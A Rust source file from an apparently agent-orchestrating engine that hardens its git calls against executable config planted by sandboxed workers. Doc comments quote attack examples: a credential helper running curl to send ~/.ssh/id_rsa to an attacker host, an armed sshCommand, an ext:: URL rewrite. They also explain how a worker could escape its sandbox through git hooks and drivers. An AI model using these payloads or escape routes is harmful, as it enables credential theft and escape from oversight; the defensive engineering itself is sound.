Skip to main content

kranz_engine/
git_ops.rs

1//! Git operations for mission branches (plan §4.4 — git is the source of truth).
2//!
3//! Every operation shells out to the `git` binary with an explicit argument
4//! vector (never a shell string, §9) and runs synchronously with the repo
5//! root as the working directory. Callers on async paths wrap calls in
6//! `tokio::task::spawn_blocking`.
7//!
8//! All failures surface as [`EngineError::Git`] with the command context and
9//! whatever git printed, so mission logs show *why* a git step failed.
10
11use crate::error::{EngineError, Result};
12use crate::scrub;
13use crate::types::TokenUsage;
14use std::ffi::OsString;
15use std::path::{Path, PathBuf};
16use std::process::{Command, Output, Stdio};
17
18#[path = "git_process.rs"]
19pub(crate) mod process;
20
21/// One commit in a [`GitRepo::commits_between`] listing.
22#[derive(Debug, Clone, PartialEq, Eq)]
23pub struct CommitInfo {
24    /// Full commit sha.
25    pub sha: String,
26    /// First line of the commit message.
27    pub subject: String,
28}
29
30/// The commit that introduced a path, from [`GitRepo::commit_that_added`].
31#[derive(Debug, Clone, PartialEq, Eq)]
32pub struct AddedCommit {
33    /// Full commit sha.
34    pub sha: String,
35    /// First line of the commit message.
36    pub subject: String,
37    /// The message body after the subject (carries the trailer block).
38    pub body: String,
39}
40
41/// Mission facts attached to kranz-authored durable commits as git trailers.
42#[derive(Debug, Clone, PartialEq)]
43pub struct KranzCommitMetadata {
44    pub mission_id: String,
45    pub cost_usd: f64,
46    pub tokens: TokenUsage,
47}
48
49/// Append-only git trailers for mission attribution and actual cost.
50pub fn kranz_commit_trailers(metadata: &KranzCommitMetadata) -> String {
51    format!(
52        "Kranz-Mission: {}\nKranz-Cost-USD: {:.4}\nKranz-Tokens-Input: {}\nKranz-Tokens-Output: {}\nKranz-Tokens-Cache-Read: {}\nKranz-Tokens-Cache-Write: {}",
53        metadata.mission_id,
54        metadata.cost_usd,
55        metadata.tokens.input,
56        metadata.tokens.output,
57        metadata.tokens.cache_read,
58        metadata.tokens.cache_write,
59    )
60}
61
62/// Commit message with kranz trailers separated in the standard trailer block.
63pub fn with_kranz_trailers(subject: &str, metadata: &KranzCommitMetadata) -> String {
64    format!("{subject}\n\n{}", kranz_commit_trailers(metadata))
65}
66
67/// Outcome of a [`GitRepo::merge_no_ff`] into the current branch (roadmap M3).
68///
69/// A `Conflict` merge is always rolled back with `git merge --abort` before it
70/// is returned, so the working tree is left clean either way — the caller never
71/// has to clean up a half-merged tree. A `RefusedPreMerge` failure never had a
72/// merge in progress (no `MERGE_HEAD`), so no abort is attempted — there is
73/// nothing to roll back.
74#[derive(Debug, Clone, PartialEq, Eq)]
75pub enum MergeOutcome {
76    /// The branch merged cleanly; the merge commit is on the current branch.
77    Clean,
78    /// The merge hit conflicts and was aborted. `files` lists the conflicting
79    /// paths git reported (best-effort; empty when git named none).
80    Conflict { files: Vec<String> },
81    /// Git refused the merge before it started (no `MERGE_HEAD` was ever
82    /// created) — e.g. an untracked file at a path the merge would bring in.
83    /// `detail` is git's verbatim stderr/stdout for the failed merge command.
84    /// No `git merge --abort` is attempted, since there is no merge in
85    /// progress to abort.
86    RefusedPreMerge { detail: String },
87}
88
89/// Outcome of a scoped engine checkpoint commit ([`GitRepo::commit_dirty_paths`]).
90///
91/// The pre-commit secret scan refusing a checkpoint is a POLICY decision, not
92/// a git failure, so it is an outcome (mirroring [`MergeOutcome`]) rather than
93/// an [`EngineError::Git`]: callers on the mission loop must be able to record
94/// the refusal and keep the mission moving — a dirty tree survives resume, so
95/// a propagated refusal would wedge the mission re-hitting the same error
96/// forever. Real git failures still surface as `Err`.
97#[derive(Debug, Clone, PartialEq, Eq)]
98pub enum CheckpointOutcome {
99    /// The checkpoint landed (or the tree was already clean); carries the
100    /// resulting head sha.
101    Committed(String),
102    /// The secret scan refused the checkpoint. `detail` names the findings
103    /// (rule ids + fingerprints, never raw secret bytes) and the allowlist
104    /// path for a reviewed waiver. Nothing was staged or committed.
105    RefusedBySecretScan { detail: String },
106}
107
108/// One entry of a recursive tree listing ([`GitRepo::ls_tree_recursive`]):
109/// the git file mode (`100644`/`100755` regular blob, `120000` symlink,
110/// `160000` submodule commit), the object kind (`blob`/`commit`), the blob
111/// size in bytes (`None` for non-blobs), and the repo-relative path.
112#[derive(Debug, Clone, PartialEq, Eq)]
113pub struct TreeEntry {
114    pub mode: String,
115    pub kind: String,
116    pub size: Option<u64>,
117    pub path: String,
118}
119
120/// Handle to a local git repository rooted at a working-tree directory.
121#[derive(Debug, Clone)]
122pub struct GitRepo {
123    root: PathBuf,
124    /// `Some(argv)` when every git invocation from this handle must run with
125    /// executable configuration disabled (see [`GitRepo::with_hooks_disabled`]):
126    /// the initial `-c key=value` argv segment. Each local command reads the
127    /// current driver names again and refuses newly armed names before it
128    /// runs. `None` keeps the repo's executable config —
129    /// worker-side git behavior is deliberately unchanged.
130    exec_disable_flags: Option<Vec<String>>,
131}
132
133#[derive(Default)]
134struct ConfiguredDrivers {
135    filters: std::collections::BTreeSet<String>,
136    merges: std::collections::BTreeSet<String>,
137    remotes: std::collections::BTreeSet<String>,
138}
139
140/// An EMPTY REGULAR FILE this process owns, for `GIT_CONFIG_GLOBAL`.
141///
142/// The obvious spelling is the null device (`/dev/null`, `NUL` on Windows),
143/// and that is what this was. It was never verified that Git for Windows
144/// accepts `NUL` as a config path: Git resolves config paths through its own
145/// POSIX-ish layer, and if it errors instead of reading an empty file then
146/// EVERY engine git call fails on Windows — a total break, not a degrade
147/// (audit 2026-09-01 F-12). An empty file the engine creates itself has no
148/// platform-specific device semantics to get wrong, and it is testable: the
149/// test can stat it.
150///
151/// Created once per process, lazily, on the first hardened invocation:
152/// a randomly named 0700 directory in the system temp dir (`create_dir`
153/// refuses an existing path, so an attacker cannot pre-seat it), holding one
154/// `create_new` 0600 file. `create_new` is what makes the create a claim
155/// rather than a truncate — it fails on a symlink and on any pre-existing
156/// entry, so this can never end up pointed at the operator's real
157/// `~/.gitconfig`.
158///
159/// Failure to create it is a REFUSAL, not a fallback: an invocation that
160/// cannot null the user scope would silently read whatever `~/.gitconfig`
161/// arms, which is the surface this exists to close.
162///
163/// Residual: the directory outlives the process (a static has no `Drop`), so
164/// a long-running host accumulates one empty 4KB directory per kranz process.
165/// Cheap, and the alternative — a predictable reusable path — trades that for
166/// a pre-seating race.
167pub(crate) fn empty_global_config_path() -> Result<&'static Path> {
168    static PATH: std::sync::OnceLock<std::result::Result<PathBuf, String>> =
169        std::sync::OnceLock::new();
170    match PATH.get_or_init(create_empty_global_config) {
171        Ok(path) => Ok(path.as_path()),
172        Err(detail) => Err(EngineError::Git(format!(
173            "refusing to run git without a neutralized user config: {detail}"
174        ))),
175    }
176}
177
178fn create_empty_global_config() -> std::result::Result<PathBuf, String> {
179    let dir = std::env::temp_dir().join(format!("kranz-gitconfig-{}", uuid::Uuid::new_v4()));
180    // Built in a block so the binding is `mut` only where a mode is set;
181    // on Windows the `mut` was an unused_mut error under `-D warnings`.
182    let builder = {
183        #[allow(unused_mut)]
184        let mut builder = std::fs::DirBuilder::new();
185        #[cfg(unix)]
186        {
187            use std::os::unix::fs::DirBuilderExt as _;
188            builder.mode(0o700);
189        }
190        builder
191    };
192    builder
193        .create(&dir)
194        .map_err(|e| format!("cannot create {}: {e}", dir.display()))?;
195    let path = dir.join("gitconfig");
196    let mut options = std::fs::OpenOptions::new();
197    options.write(true).create_new(true);
198    #[cfg(unix)]
199    {
200        use std::os::unix::fs::OpenOptionsExt as _;
201        options.mode(0o600);
202    }
203    options
204        .open(&path)
205        .map_err(|e| format!("cannot create {}: {e}", path.display()))?;
206    Ok(path)
207}
208
209/// Which config scopes one hardened git invocation reads.
210///
211/// [`UserConfig::Ignored`] is the rule for LOCAL operations (status, add,
212/// commit, checkout, merge, diff, log, worktree): they never contact a
213/// remote, so nothing the operator's `~/.gitconfig` carries is load-bearing
214/// for them, and nulling it removes a whole class of executable config the
215/// enumerated `-c` segment cannot cover.
216///
217/// [`UserConfig::Visible`] exists for the identity reads
218/// ([`GitRepo::ensure_identity`], [`GitRepo::resolved_identity`]), whose
219/// whole job is to resolve the operator's `user.name` / `user.email` from
220/// wherever git would find them — nulling user config there would silently
221/// restamp every engine commit as `kranz <kranz@localhost>`. Those
222/// invocations still carry the `-c` segment, so reading a config value never
223/// executes one.
224///
225/// [`UserConfig::KeptForNetwork`] is for operations that DO contact a remote
226/// (`push`, `ls-remote`). Nulling the user scope there is a functional
227/// regression, not a hardening (audit 2026-09-01 F-11): `credential.helper`
228/// (osxkeychain / manager / gh) is where an https push gets its credential,
229/// `url.<base>.insteadOf` is a widespread operator convention, and
230/// `http.proxy` is how a corporate network is reached at all. So the network
231/// mode keeps the user scope in force and defends the same surface from the
232/// other side — see [`GitRepo::refuse_network_on_armed_local_config`], which
233/// refuses the operation outright when the REPOSITORY's own config (the
234/// scope a worker can write) carries any of those keys.
235#[derive(Debug, Clone, Copy, PartialEq, Eq)]
236enum UserConfig {
237    Ignored,
238    Visible,
239    KeptForNetwork,
240}
241
242/// The config-scope environment a hardened invocation applies.
243///
244/// The operator's `~/.gitconfig` and `/etc/gitconfig` are further sources of
245/// EXECUTABLE config (`core.hooksPath`, `gpg.program`, filter drivers) that
246/// the enumerated `-c` segment does not cover: the filter enumeration reads
247/// the repository's config, so a driver armed only in a user-scope file would
248/// not be in the list. Nulling both keeps the hardened handle's promise
249/// honest. The idiom mirrors `contract_lint::lint_env`, which does the same
250/// from the other side.
251///
252/// The system scope stays off in EVERY mode, network included:
253/// `/etc/gitconfig` is not where an operator's credential helper or proxy
254/// lives, and on a shared build host it is the one scope a mission host
255/// operator may not control.
256fn hardened_config_env(user_config: UserConfig) -> Result<Vec<(&'static str, OsString)>> {
257    Ok(match user_config {
258        UserConfig::Ignored => vec![
259            ("GIT_CONFIG_NOSYSTEM", OsString::from("1")),
260            (
261                "GIT_CONFIG_GLOBAL",
262                empty_global_config_path()?.as_os_str().to_os_string(),
263            ),
264        ],
265        // GIT_CONFIG_GLOBAL is deliberately NOT set: the operator's
266        // ~/.gitconfig has to stay in force for the credential helper, the
267        // insteadOf rewrites and the proxy that make a push work at all.
268        UserConfig::KeptForNetwork => vec![("GIT_CONFIG_NOSYSTEM", OsString::from("1"))],
269        UserConfig::Visible => Vec::new(),
270    })
271}
272
273/// Local Git has no reason to receive the host's API keys or transport
274/// credentials. Keep process bootstrap, explicit commit identity, and Git's
275/// repository/index selectors, which callers may use for isolated operations.
276/// Identity-only config reads additionally retain the operator's config paths.
277fn clear_local_git_env(cmd: &mut Command, user_config: UserConfig) {
278    const KEEP: &[&str] = &[
279        "PATH",
280        "HOME",
281        "USERPROFILE",
282        "TMPDIR",
283        "TMP",
284        "TEMP",
285        "LANG",
286        "LC_ALL",
287        "TZ",
288        "GIT_AUTHOR_NAME",
289        "GIT_AUTHOR_EMAIL",
290        "GIT_AUTHOR_DATE",
291        "GIT_COMMITTER_NAME",
292        "GIT_COMMITTER_EMAIL",
293        "GIT_COMMITTER_DATE",
294        "GIT_DIR",
295        "GIT_COMMON_DIR",
296        "GIT_WORK_TREE",
297        "GIT_INDEX_FILE",
298        "GIT_OBJECT_DIRECTORY",
299        "GIT_ALTERNATE_OBJECT_DIRECTORIES",
300        "GIT_CEILING_DIRECTORIES",
301    ];
302    cmd.env_clear();
303    for key in KEEP {
304        if let Some(value) = std::env::var_os(key) {
305            cmd.env(key, value);
306        }
307    }
308    if user_config == UserConfig::Visible {
309        for key in ["GIT_CONFIG_GLOBAL", "GIT_CONFIG_SYSTEM", "XDG_CONFIG_HOME"] {
310            if let Some(value) = std::env::var_os(key) {
311                cmd.env(key, value);
312            }
313        }
314    }
315    #[cfg(windows)]
316    {
317        let mut env = std::collections::HashMap::new();
318        crate::agent_env::extend_windows_process_env(&mut env);
319        cmd.envs(env);
320    }
321}
322
323/// git on Windows cannot parse VERBATIM paths (`\\?\C:\...`, which
324/// `std::fs::canonicalize` returns there — and the engine canonicalizes
325/// repo roots for the no-follow guards): `git worktree add //?/C:/...`
326/// fails with "Invalid argument". Strip the prefix when handing a path to
327/// git; a no-op off Windows and on non-verbatim paths. (`\\?\UNC\` shares
328/// are not collapsed — no mission root legitimately lives on one.)
329fn git_path_arg(path: &Path) -> PathBuf {
330    #[cfg(windows)]
331    {
332        let rendered = path.as_os_str().to_string_lossy();
333        if let Some(rest) = rendered.strip_prefix(r"\\?\") {
334            if !rest.starts_with("UNC") {
335                return PathBuf::from(rest);
336            }
337        }
338    }
339    path.to_path_buf()
340}
341
342impl GitRepo {
343    /// Open `root` as a git repository, HARDENED.
344    ///
345    /// Verifies `git rev-parse --git-dir` succeeds inside `root`; returns
346    /// [`EngineError::Git`] when `root` is not a repository (or git itself
347    /// cannot be invoked).
348    ///
349    /// Every invocation from the returned handle runs with executable git
350    /// configuration disabled — see [`Self::build_exec_disable_flags`] for
351    /// the flag set. This is the DEFAULT because engine-side git runs inside
352    /// the tree the worker controls (audit 2026-09-01 H3): the worker's
353    /// session cwd is the active tree, `.git` is inside its write allowlist,
354    /// and the engine's next checkpoint `git status` / `git add` /
355    /// `git commit` would otherwise execute a planted `pre-commit` hook,
356    /// `core.fsmonitor`, filter driver or `gpg.program` OUTSIDE every sandbox
357    /// with the engine's full ambient environment. Hardening was previously
358    /// opt-in and applied at five sites; the sixteen that did not opt in
359    /// (integration-worktree handle, checkpoint commits, checkout, tag,
360    /// `push_mission_branch`) were the hole.
361    ///
362    /// [`Self::open_unhardened`] is the explicit escape hatch for a caller
363    /// that genuinely needs the repository's own executable config.
364    pub fn open(root: impl Into<PathBuf>) -> Result<Self> {
365        let repo = GitRepo {
366            root: root.into(),
367            exec_disable_flags: None,
368        }
369        .with_hooks_disabled()?;
370        repo.verify_repository()?;
371        Ok(repo)
372    }
373
374    /// Open `root` as a git repository WITHOUT the executable-config
375    /// neutralization [`Self::open`] applies.
376    ///
377    /// There is no engine caller: it exists so a future one that genuinely
378    /// wants the repository's hooks (a deliberate "run the project's own
379    /// pre-commit" feature, say) has to say so at the open site rather than
380    /// getting it by forgetting to opt in. Do not use it on a tree an agent
381    /// can write.
382    pub fn open_unhardened(root: impl Into<PathBuf>) -> Result<Self> {
383        let repo = GitRepo {
384            root: root.into(),
385            exec_disable_flags: None,
386        };
387        repo.verify_repository()?;
388        Ok(repo)
389    }
390
391    fn verify_repository(&self) -> Result<()> {
392        let out = self.probe(&["rev-parse", "--git-dir"])?;
393        if out.status.success() {
394            Ok(())
395        } else {
396            Err(EngineError::Git(format!(
397                "not a git repository: {} ({})",
398                self.root.display(),
399                failure_detail(&out)
400            )))
401        }
402    }
403
404    /// The working-tree root this handle operates on.
405    pub fn root(&self) -> &Path {
406        &self.root
407    }
408
409    /// A handle to the same repository whose every git invocation runs with
410    /// executable configuration disabled (see [`Self::build_exec_disable_flags`]
411    /// for the exact flag set and the surfaces each entry neutralizes, 13th-pass
412    /// review P1 — the set previously stopped at `core.hooksPath=` +
413    /// `core.fsmonitor=` while this doc claimed "every executable surface",
414    /// leaving planted filter drivers and `gpg.program` executable).
415    ///
416    /// [`Self::open`] now returns a hardened handle already, so on an
417    /// ordinary handle this keeps the initial driver boundary (including
418    /// across clones). Each local invocation checks that boundary again;
419    /// re-wrapping must not authorize a driver introduced by a worker.
420    ///
421    /// The gated merge path uses this: its scratch worktree's gitdir points
422    /// into the primary `.git`, so mission-authored gate/test code can plant
423    /// executable config — which the merge's own checkout / merge / worktree
424    /// commands would then execute with the server's full inherited
425    /// environment, exactly the tokens the sanitized gate executor withholds.
426    /// The validator-integrity fingerprint runs on a verification handle for
427    /// the same reason: a validator that poisons `core.fsmonitor` must not
428    /// get its payload executed by the detection itself (4th-pass review —
429    /// detection previously ran `git status` BEFORE comparing config, so the
430    /// payload ran first). Opt-in per handle: worker-side git behavior is
431    /// deliberately unchanged.
432    ///
433    /// Building the handle enumerates the repo's configured filter and merge drivers;
434    /// an enumeration failure fails CLOSED (no handle) — a verification
435    /// handle that cannot name its armed drivers cannot promise the surface
436    /// is disabled.
437    pub fn with_hooks_disabled(&self) -> Result<GitRepo> {
438        if let Some(flags) = &self.exec_disable_flags {
439            // Preserve the original boundary; do not authorize new drivers.
440            return Ok(GitRepo {
441                root: self.root.clone(),
442                exec_disable_flags: Some(flags.clone()),
443            });
444        }
445        let mut hardened = GitRepo {
446            root: self.root.clone(),
447            exec_disable_flags: Some(Vec::new()),
448        };
449        hardened.exec_disable_flags = Some(hardened.build_exec_disable_flags()?);
450        Ok(hardened)
451    }
452
453    /// The complete `-c key=value` argv segment [`Self::probe_os`] prepends to
454    /// every git invocation of a verification handle, and WHY each entry
455    /// exists (13th-pass review, P1):
456    ///
457    /// - `core.hooksPath=` / `core.fsmonitor=` — the original pair: hook
458    ///   lookup resolves to nothing and the fsmonitor hook `git status`
459    ///   would otherwise run is off.
460    /// - `core.attributesFile=/dev/null` — the per-user attributes file is
461    ///   replaced with the null device. HONEST SCOPE: this does NOT touch
462    ///   the repo's own attribute sources — a checkout's `.gitattributes`
463    ///   and `$GIT_DIR/info/attributes` are consulted regardless (probed
464    ///   2026-08-04: an armed `*.txt filter=evil` in a worktree
465    ///   `.gitattributes` still fired its driver under this flag alone).
466    ///   Those files are deliverable content that must keep staging
467    ///   verbatim, so the armed-driver attack is closed config-side — see
468    ///   the filter enumeration below.
469    /// - `filter.<name>.clean=` / `.smudge=` / `.process=` plus
470    ///   `filter.<name>.required=false` for EVERY filter driver named in
471    ///   the repo's config (any scope): `git add` runs an armed driver's
472    ///   clean/process command with the engine's privileges. The names are
473    ///   enumerated with `git config --get-regexp -z '^filter\.'` (a pure
474    ///   config read — include.path expansion reads files, it never
475    ///   executes), then each is overridden EMPTY on the command line,
476    ///   which git honors as "no driver": the add stages the raw bytes
477    ///   verbatim (probed 2026-08-04, dotted subsection names included).
478    /// - `commit.gpgSign=false` + `gpg.program=/bin/false` — belt and
479    ///   braces: repo config can force signing on (`commit.gpgSign=true`)
480    ///   and name a payload as the signer. The first flag turns signing
481    ///   off; the second makes the payload inert even if a future caller
482    ///   forces signing back on (`-S`). `/bin/false` is never resolved
483    ///   unless signing actually runs.
484    ///
485    /// - `credential.helper=` — a repo-local
486    ///   `helper = !sh -c 'curl -d @~/.ssh/id_rsa https://attacker/'` runs
487    ///   the moment git needs a credential, with the engine's environment.
488    ///   An EMPTY helper entry is git's documented list RESET (the `-c`
489    ///   scope is read last, so it clears every helper configured before
490    ///   it), not merely one more empty entry. That is also why this key is
491    ///   dropped for network operations, where the operator's own helper is
492    ///   the point — see [`UserConfig::KeptForNetwork`].
493    /// - `core.sshCommand=` — `[core] sshCommand = sh -c 'evil' --` is
494    ///   executed by every git operation that opens an ssh transport.
495    ///   Dropped for network operations: probed 2026-09-02, an empty
496    ///   `core.sshCommand` does NOT fall back to `ssh`, it makes git try to
497    ///   exec the empty string (`error: cannot run : No such file or
498    ///   directory`), so carrying it would break every ssh remote.
499    /// - `core.askPass=` — same shape for the credential prompt. Safe to
500    ///   carry on network operations: git skips an empty askpass and falls
501    ///   back to the terminal rather than trying to exec it.
502    /// - `core.editor=` / `sequence.editor=` — the engine never wants an
503    ///   editor (every commit is `-m`), so an armed one can only be a
504    ///   payload waiting for a git command that would spawn it.
505    /// - `uploadpack.packObjectsHook=` — runs on the SERVING side of a
506    ///   fetch. A worker that plants it turns "someone fetches from this
507    ///   checkout" into code execution.
508    /// - `protocol.ext.allow=never` — `ext::` remote URLs execute their
509    ///   argument as a command. This shuts the transport off rather than
510    ///   trying to sanitize URLs.
511    /// - `remote.<name>.uploadpack=` / `.receivepack=` for every remote
512    ///   named in the repo's config: both name a program git runs on the
513    ///   far side, and a local remote (`/path/to/repo`) makes "far side"
514    ///   mean this machine.
515    ///
516    /// ## `url.<base>.insteadOf` is REFUSED, not blanked
517    ///
518    /// The audit asked for enumerate-and-blank here too. Probed 2026-09-02,
519    /// blanking is worse than doing nothing: `insteadOf` is MULTI-VALUED, so
520    /// `-c url.<base>.insteadOf=` appends an entry rather than replacing the
521    /// planted one — the planted rewrite still fires — and the appended
522    /// entry is the EMPTY prefix, which `starts_with` matches against every
523    /// URL. On a repo with no rewrite at all, adding the blank turned
524    /// `https://github.com/foo/bar.git` into
525    /// `ext::sh -c evil %Shttps://github.com/foo/bar.git`. There is no
526    /// command-line spelling that unsets a config key, so the flag set
527    /// cannot neutralize this surface. Only operations that resolve a remote
528    /// URL consult it, and those all go through
529    /// [`Self::refuse_network_on_armed_local_config`], which refuses them.
530    ///
531    /// Verification diffs pass `--no-ext-diff --no-textconv`; custom merge
532    /// drivers fail closed. Worker-authored configuration must not execute
533    /// outside its sandbox during an engine diff or merge.
534    fn build_exec_disable_flags(&self) -> Result<Vec<String>> {
535        const BASE: &[&str] = &[
536            "core.hooksPath=",
537            "core.fsmonitor=",
538            "core.attributesFile=/dev/null",
539            "commit.gpgSign=false",
540            "gpg.program=/bin/false",
541            "merge.default=text",
542            CREDENTIAL_HELPER_RESET,
543            SSH_COMMAND_OVERRIDE,
544            "core.askPass=",
545            "core.editor=",
546            "sequence.editor=",
547            "uploadpack.packObjectsHook=",
548            "protocol.ext.allow=never",
549        ];
550        let mut flags = Vec::with_capacity(BASE.len() * 2 + 16);
551        for kv in BASE {
552            flags.push("-c".to_string());
553            flags.push((*kv).to_string());
554        }
555        let drivers = self.configured_drivers()?;
556        for name in &drivers.filters {
557            for sub in ["clean", "smudge", "process"] {
558                flags.push("-c".to_string());
559                flags.push(format!("filter.{name}.{sub}="));
560            }
561            flags.push("-c".to_string());
562            flags.push(format!("filter.{name}.required=false"));
563        }
564        for name in &drivers.merges {
565            flags.push("-c".to_string());
566            flags.push(format!("merge.{name}.driver=false"));
567        }
568        for name in &drivers.remotes {
569            for sub in ["uploadpack", "receivepack"] {
570                flags.push("-c".to_string());
571                flags.push(format!("remote.{name}.{sub}="));
572            }
573        }
574        Ok(flags)
575    }
576
577    /// One pure config read covers local, included and worktree config. It
578    /// carries no `-c` overrides, so it sees driver names as configured rather
579    /// than the names from the handle's previous defensive argv segment.
580    fn configured_drivers(&self) -> Result<ConfiguredDrivers> {
581        let out = self.spawn_git(
582            &[
583                "config",
584                "--no-includes",
585                "--name-only",
586                "--get-regexp",
587                "-z",
588                "^(filter|merge|remote|include|includeif)\\.",
589            ]
590            .iter()
591            .map(OsString::from)
592            .collect::<Vec<_>>(),
593            UserConfig::Ignored,
594            ExecFlags::None,
595        )?;
596        if !out.status.success() {
597            if out.status.code() == Some(1) {
598                return Ok(ConfiguredDrivers::default());
599            }
600            // Do not include config values (or a malformed source line) in
601            // the refusal: repository config can contain credentials.
602            return Err(EngineError::Git(format!(
603                "refusing git operation: cannot enumerate executable repository configuration ({})",
604                out.status
605            )));
606        }
607        let stdout = std::str::from_utf8(&out.stdout).map_err(|_| {
608            EngineError::Git("refusing git operation: repository configuration is not UTF-8".into())
609        })?;
610        let mut drivers = ConfiguredDrivers::default();
611        for key in stdout.split('\0').filter(|entry| !entry.is_empty()) {
612            // An ordinary include can point outside protected Git metadata,
613            // including into the worker's writable source tree. Protecting
614            // only config/config.worktree cannot pin that dependency graph.
615            if key == "include.path" {
616                return Err(EngineError::Git(
617                    "refusing git operation: ordinary repository config includes cannot be protected; move repository settings into config or config.worktree".into(),
618                ));
619            }
620            let Some((section, rest)) = key.split_once('.') else {
621                continue;
622            };
623            let Some((name, subkey)) = rest.rsplit_once('.') else {
624                continue;
625            };
626            // A checkout/worktree command can activate an include in a child
627            // Git process after this read, without any concurrent writer.
628            // Refuse even currently inactive conditions: their future driver
629            // set cannot be pinned by enumerating the current context.
630            if section == "includeif" && subkey == "path" {
631                return Err(EngineError::Git(
632                    "refusing git operation: conditional repository config includes cannot be safely overridden across branch or worktree changes"
633                        .into(),
634                ));
635            }
636            if name.is_empty() {
637                continue;
638            }
639            let names = match section {
640                "filter" => &mut drivers.filters,
641                "merge" if subkey == "driver" => &mut drivers.merges,
642                "remote" if matches!(subkey, "uploadpack" | "receivepack") => &mut drivers.remotes,
643                _ => continue,
644            };
645            // `-c` splits at the first '='. Such a subsection cannot be
646            // overridden by key=value argv, and control bytes cannot safely
647            // appear in refusal diagnostics. Never silently skip either.
648            if name.contains('=') || name.chars().any(char::is_control) {
649                return Err(EngineError::Git(
650                    "refusing git operation: repository driver name cannot be safely overridden"
651                        .into(),
652                ));
653            }
654            names.insert(name.to_string());
655        }
656        Ok(drivers)
657    }
658
659    /// A worker may add a driver after this handle (or its clone) was opened.
660    /// Refuse those new names. Keep the original overrides even for removed
661    /// drivers, so removing and restoring a known name cannot disarm them.
662    /// The repository's config is never rewritten to enforce this boundary.
663    ///
664    /// Residual: this preflight is not a config snapshot. A hostile process
665    /// able to write git config concurrently can race the read and Git's own
666    /// later read. Clearing the local command environment reduces authority
667    /// in that case; enforced write-denies or filesystem virtualization are
668    /// needed to close the concurrent mutation race completely.
669    fn refuse_new_exec_configuration(&self, initial: &[String]) -> Result<()> {
670        let current = self.build_exec_disable_flags()?;
671        let known: std::collections::HashSet<&str> = initial
672            .as_chunks::<2>()
673            .0
674            .iter()
675            .map(|pair| pair[1].as_str())
676            .collect();
677        let unexpected: Vec<&str> = current
678            .as_chunks::<2>()
679            .0
680            .iter()
681            .map(|pair| pair[1].as_str())
682            .filter(|entry| !known.contains(entry))
683            .filter_map(|entry| entry.split_once('=').map(|(key, _)| key))
684            .collect();
685        if !unexpected.is_empty() {
686            return Err(EngineError::Git(format!(
687                "refusing git operation: executable repository configuration changed after opening the handle: {}. Review the repository config before opening a new handle",
688                unexpected.join(", ")
689            )));
690        }
691        Ok(())
692    }
693
694    /// Refuse a NETWORK operation when the REPOSITORY's own config carries a
695    /// key that names a program, a credential source, or a URL rewrite.
696    ///
697    /// This is the network half of the H3 hardening, and the reason
698    /// [`UserConfig::KeptForNetwork`] can afford to leave the operator's
699    /// `~/.gitconfig` in force. The two scopes are not equally trusted:
700    /// `~/.gitconfig` is the operator's, while `<repo>/.git/config` is
701    /// inside the worker's write allowlist. A `credential.helper` or an
702    /// `ext::` rewrite appearing in the scope a worker controls is an ATTACK
703    /// SIGNAL, not a configuration to work around — so the push is refused
704    /// rather than sanitized, and the error names every offending key.
705    ///
706    /// Only keys are named, never values: a planted `http.proxy` or
707    /// `credential.<url>.username` can carry a secret, and the refusal goes
708    /// to mission logs.
709    ///
710    /// Failing to read the config is itself a refusal: a network operation
711    /// that cannot rule the repo scope out has not ruled it out.
712    fn refuse_network_on_armed_local_config(&self) -> Result<()> {
713        if self.exec_disable_flags.is_none() {
714            // An unhardened handle is the explicit escape hatch
715            // ([`Self::open_unhardened`]): it promises nothing, and this
716            // read could not tell the repo scope from the operator's anyway,
717            // because nothing is nulling the global scope for it.
718            return Ok(());
719        }
720        // Repository includes are unsupported even on the network path.
721        // Operator-global includes remain visible to the actual transport.
722        self.configured_drivers()?;
723        // Each pattern is matched against the key git prints, which lowercases
724        // the section and the final subkey but preserves a subsection's case
725        // (probed 2026-09-02) — hence `sshcommand`, `insteadof`.
726        const ARMED: &str = "^(credential\\.\
727             |core\\.sshcommand$\
728             |core\\.askpass$\
729             |core\\.gitproxy$\
730             |protocol\\.\
731             |http\\.(proxy|sslcainfo|sslcert|sslkey)$\
732             |url\\..*\\.(insteadof|pushinsteadof)$\
733             |remote\\..*\\.(uploadpack|receivepack)$)";
734        // Deliberately NOT `self.probe`: the handle's own `-c` segment sets
735        // `credential.helper=` and `protocol.ext.allow=never`, and
736        // `--get-regexp` would report those command-line values as matches
737        // and refuse every push. Nulling the global scope by env is what
738        // makes this read see exactly the repository's own config.
739        let out = self.spawn_git(
740            &["config", "--get-regexp", "-z", ARMED]
741                .iter()
742                .map(OsString::from)
743                .collect::<Vec<_>>(),
744            UserConfig::Ignored,
745            ExecFlags::None,
746        )?;
747        if !out.status.success() {
748            if out.status.code() == Some(1) {
749                // Exit 1 is "no matches": the repository scope is clean.
750                return Ok(());
751            }
752            return Err(EngineError::Git(format!(
753                "refusing a network git operation: cannot read this repository's \
754                 own config to rule out a planted credential helper ({}): {}",
755                out.status,
756                failure_detail(&out)
757            )));
758        }
759        let stdout = String::from_utf8_lossy(&out.stdout);
760        let mut offenders = std::collections::BTreeSet::new();
761        for entry in stdout.split('\0') {
762            if entry.is_empty() {
763                continue;
764            }
765            offenders.insert(entry.split('\n').next().unwrap_or("").to_string());
766        }
767        if offenders.is_empty() {
768            return Ok(());
769        }
770        Err(EngineError::Git(format!(
771            "refusing a network git operation: this repository's own config sets \
772             {} — a credential helper, ssh command, URL rewrite or transport hook \
773             in the scope a worker can write is an attack signal, not a setting. \
774             Remove the key from .git/config (or .git/config.worktree) and re-run; \
775             the operator's own ~/.gitconfig is untouched and still in force.",
776            offenders.into_iter().collect::<Vec<_>>().join(", ")
777        )))
778    }
779
780    /// Sha of `HEAD` (`git rev-parse HEAD`).
781    pub fn head_sha(&self) -> Result<String> {
782        Ok(self.run(&["rev-parse", "HEAD"])?.trim().to_string())
783    }
784
785    /// The shared git directory (`.git` in a plain checkout, the MAIN repo's
786    /// git dir for a linked worktree) — where config, hooks, and refs live.
787    /// Relative `--git-common-dir` output resolves against the repo root.
788    pub fn git_common_dir(&self) -> Result<std::path::PathBuf> {
789        let out = self.run(&["rev-parse", "--git-common-dir"])?;
790        let path = std::path::PathBuf::from(out.trim());
791        Ok(if path.is_absolute() {
792            path
793        } else {
794            self.root.join(path)
795        })
796    }
797
798    /// Actual repository config inputs after include refusal. Used before an
799    /// enforced child starts; this read alone is not a concurrent-write guard.
800    pub(crate) fn config_protection_paths(&self) -> Result<(PathBuf, PathBuf, bool)> {
801        let common = self.git_common_dir()?;
802        let git_dir = PathBuf::from(self.run(&["rev-parse", "--git-dir"])?.trim());
803        let git_dir = if git_dir.is_absolute() {
804            git_dir
805        } else {
806            self.root.join(git_dir)
807        };
